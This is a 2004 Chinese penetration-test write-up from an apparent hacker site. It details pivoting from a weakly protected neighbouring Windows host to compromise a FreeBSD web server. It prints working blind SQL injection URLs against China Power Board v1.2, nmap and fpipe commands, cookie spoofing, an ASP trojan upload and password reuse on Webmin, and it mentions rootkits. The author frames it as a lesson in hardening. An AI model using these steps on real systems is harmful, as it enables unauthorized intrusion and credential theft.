|
|
| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | | ||||
|
|
||||||||
|
||||||||
|
|||||
| 一次WEB服务器渗透测试笔记 | |||||
作者:t920 文章来源:CnXHacker.Net 点击数: 更新时间:2004-11-16 ![]() |
|||||
|
渗透测试是最能直接的反映系统的安全性的一种手段了。现整理了前段时间进行的一次渗透测试的笔记,整个过程中所使用的工具和思路都比较简单,本文也正是为了您的系统不被这些“简单”的东西所击败而作 此次渗透测试的已知条件只有一个:目标IP地址211.***.***.114。 首先当然是常规的扫描nmap -v -sS -O 211.***.***.114,得到的结果如下: (The 1641 ports scanned but not shown below are in state: filtered) Port State Service 80/tcp open http Device type: general purpose Running: FreeBSD 4.X OS details: FreeBSD 4.7-RELEASE (注意:渗透测试需要有对方授权,任何未经许可的扫描和渗透都有可能受到起诉。) 这个结果让人比较郁闷,只开了80一个端口,而且是freebsd的系统,并用IPFW或其他firewall进行了严格的过滤,看来这次的渗透要费点脑筋了。 但打开页面看了一下,更加让人丧气情况出现了:所有的连接都是静态的html页面!这意味着没有sql注入可利用,没有脚本漏洞可发掘!只是通过指纹验证httprint知道了web服务器是apache。 嗯,好吧,看来只能扫一下80端口试一下了。拿出RetinaApacheChunked... ... 当扫描结果出现在我眼前的时候,我想我有必要联系一下拉登大叔了,直接把这服务器炸掉算了!!! 放弃?!当然不!“一条铁链的强度取决于其最薄弱的一环”,安全也从来都不是单点的安全,所以,扩大扫描的范围说不定会有收获。当然这个扩大也不是随意的,最好先估算一下对方的地址段的长 度,比如这个211.***.***.114,假设掩码是240,则该段地址即为:211.***.***.112-211.***.***.127 。这个不用解释了吧! 拿出nmap,扫描从211.***.***.113-211.***.***.126的地址。得到的结果中最另人感兴趣的是一台开放了80端口的windows2000的主机211.***.***.116。一种直觉告诉我这台主机就是突破口! http://211.***.***.116 出现在我眼前的是一个asp论坛的首页,但奇怪的是该论坛没什么分论坛也没几个注册用户,很可能是一个用来测试的系统。看了下论坛底部的版本信息“Powered by China Power Board v1.2”,原来是CPB的论坛,而且印象里这个v1.2好像是有注入漏洞,(窃喜)。 用google搜索到一个cpbv1.2研究了一下,原来数据库用的是ACCESS,储存管理员用户名和密码的表名为admin,这是我们最关心的东西,该表有四列:a_id admin password a_grade,其中passoword是使用md5加密过的。好了知道了这些基本信息,就可以进行下一步了: 提交: http://211.***.***.116/list.asp?l_id=1 and exists (select a_id from admin where a_id=2) 返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。 /list.asp,行145 这些信息说明了:主机211.***.***.116上的cpb论坛的数据库并没有经过改动,与原始的表结构是一样的 :表名为admin,管理员的a_id为2,这样就省了我们很多的麻烦。 下面的目标就是要得到管理员的用户名和密码了。 提交: http://211.***.***.116/list.asp?l_id=1 and exists (select admin from admin where admin=admin) 返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。 /list.asp,行145 看来连管理员的用户名都还是默认的admin。 那么,密码是不是也是默认的admin呢,想到这里我返回到论坛的首页用用户名admin密码admin登陆,结果失败!看来还是老老实实的猜测password的值吧! 提交: http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left (password,1)='a') 返回的是一个报告出错的页面,这点告诉我们由MD5加密后的密码的第一位不是'a'。 注:由MD5加密后的密码长度为16位,每一位是一个16进制数,所以理论上最多猜测256次即可得到该值 当提交: http://211.***.***.116/list.asp?l_id=1 and exists (select password from admin where left (password,1)='1') 返回: Microsoft OLE DB Provider for ODBC Drivers 错误 '80004005' [Microsoft][ODBC Microsoft Access Driver] 操作必须使用一个可更新的查询。 /list.asp,行145 可以得知第一位是'1'。 同理可以依次得到每一位的值,最终经过耐心的尝试得到'19a7e9898008f09e'。这一步可能会耗费一些时 间,当然也可以通过编写一个脚本来实现自动获取的目的。 好了,现在该轮到MD5的“暴破”专家DeMd5出场了,填入刚刚得到的'19a7e9898008f09e',下面就可以喝杯咖啡然后等着密码来找你吧! 那么难道在密码没有破解出来之前就只有等待么?当然是否定的,我可不想指望着DeMD5能给我一个满意的答案,万一这个管理员用了十几位的数字、大小写字母和符号来组成他的密码,那岂不是惨了?! 还好还有COOKIE欺骗这一招可用: 用IECookiesView找到名字为211.***.***.116的COOKIE,把其中的password和username分别替换为19a7e9898008f09e和admin,当然在这一步之前要在论坛里注册一个用户。保存后再打开http://211.***.***.116,已经是管理员的身份了。 找到后台的管理入口,http://211.***.***.116/admindefault.asp,进去看看有什么可以利用的。 该死,好像没有可以直接上传文件的功能,不过却可以更改用户在前台上传文件的类型。 我毫不犹豫地把asp给加上了。跑到论坛的主界面通过发贴的方式上传了一个asp木马,成功! 当然不要忘了把帖子删了!其他的扫尾工作倒是可以稍后再做,先看看通过这个跳板我们能得到目标主机 211.***.***.114的什么信息吧! 在211.***.***.116上扫描211.***.***.114:nmap -v -sS -O 211.***.***.114 得到: Port State Service 21/tcp open ftp 22/tcp open ssh 80/tcp open http 10000/tcp open snet-sensor-mgmt 这样的结果是令人满意的,至少说明211.***.***.114的防火墙对同网段的计算机开放了更多的服务,当然也意味着更多的渗透的机会! 首先进入视野的就是ftp服务,如果有弱口令,又有上传的权限,那不就可以... ... 先看下ftp服务器的类型,在211.***.***.116上: ftp 211.***.***.114 返回: Connected to 211.***.***.114. 220 Free FTP server (Version 6.00LS) ready. User (211.***.***.114:(none)): 看来是FreeBSD自带的ftp服务器。 接着拿出Xscan进行针对ftp服务的扫描: xscan -host 211.***.***.114 -ftp 可惜结果令人遗憾:没有可以利用的帐号。 后面的22和80也没有什么可以利用的,那就只剩下这个tcp10000的端口了,如果没记错,这应该是webmin的默认端口。连上去试试再说吧,在211.***.***.116上运行: fpipe -l 8800 -s 8800 -r 10000 211.***.***.114 fpipe是一个端口重定向的工具,这条命令的大致意思就是把对本地8800端口的访问重定向到211.***.***.114的10000端口上。所以我们访问211.***.***.116:8800就等于访问211.***.***.114:10000了。 在本地浏览器里输入:http://211.***.***.116:8800 一个webmin的登陆界面出现了。现在的问题就是:怎么进去。 还记得小组赛B组第一轮法国是怎样战胜英格兰的么?答案是:运气! 这个webmin问题的答案也是,当我一筹莫展的时候,DeMd5告诉了我一个好消息:211.***.***.116上的cpb论坛的admin的密码为'77889900',破解出了这个密码算是运气的一部分,而另一部分就是:这个密码也是211.***.***.114上的webmin服务的。 登陆进入webmin以后就等于控制了目标主机211.***.***.114,安装rootkit还是更换页面只是一个选择性的问题了。 至此,任务完成,后面就是要写冗长的渗透测试报告了,但是在那之前我要写几个“如果”。 如果1:211.***.***.116主机上的测试论坛,在测试后就删除了。 如果2:211.***.***.116上的论坛版本为最新的。 如果3:211.***.***.116主机安装了防火强,并做了严格的限制。 如果4:211.***.***.114的ipfw的规则再严格些,只允许管理员的工作站登陆webmin。 如果5:cpb论坛的密码与webmin的密码不相同。 如果6:cpb论坛的密码足够强壮。 |
|||||
| 文章录入:IceRiver 责任编辑:IceRiver | |||||
| 【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 | |||||
| 最新热点 | 最新推荐 | 相关文章 | ||
| 通过建立安全模型保障Web数据 webshell下分离大文件资料 经典Webshell提权集合九招 机器数量庞大 Google成WEB服 Web2.0带来营销领域深刻变化 安全专家:Web 2.0站点的coo Web安全性问题的层次关系 Web 应用程序安全性问题本质 Windows IIS WEB服务器配置安 利用Serv-U自身缺陷提升 Web |
网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!) |
| 关于我们 - 版权声明 - 帮助(?) - 广告服务 - 联系我们 - 友情链接 - 用户注册 - | Powered by ICE RIVER - STUDIO |
| » CnXHacker.CoM | © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved. |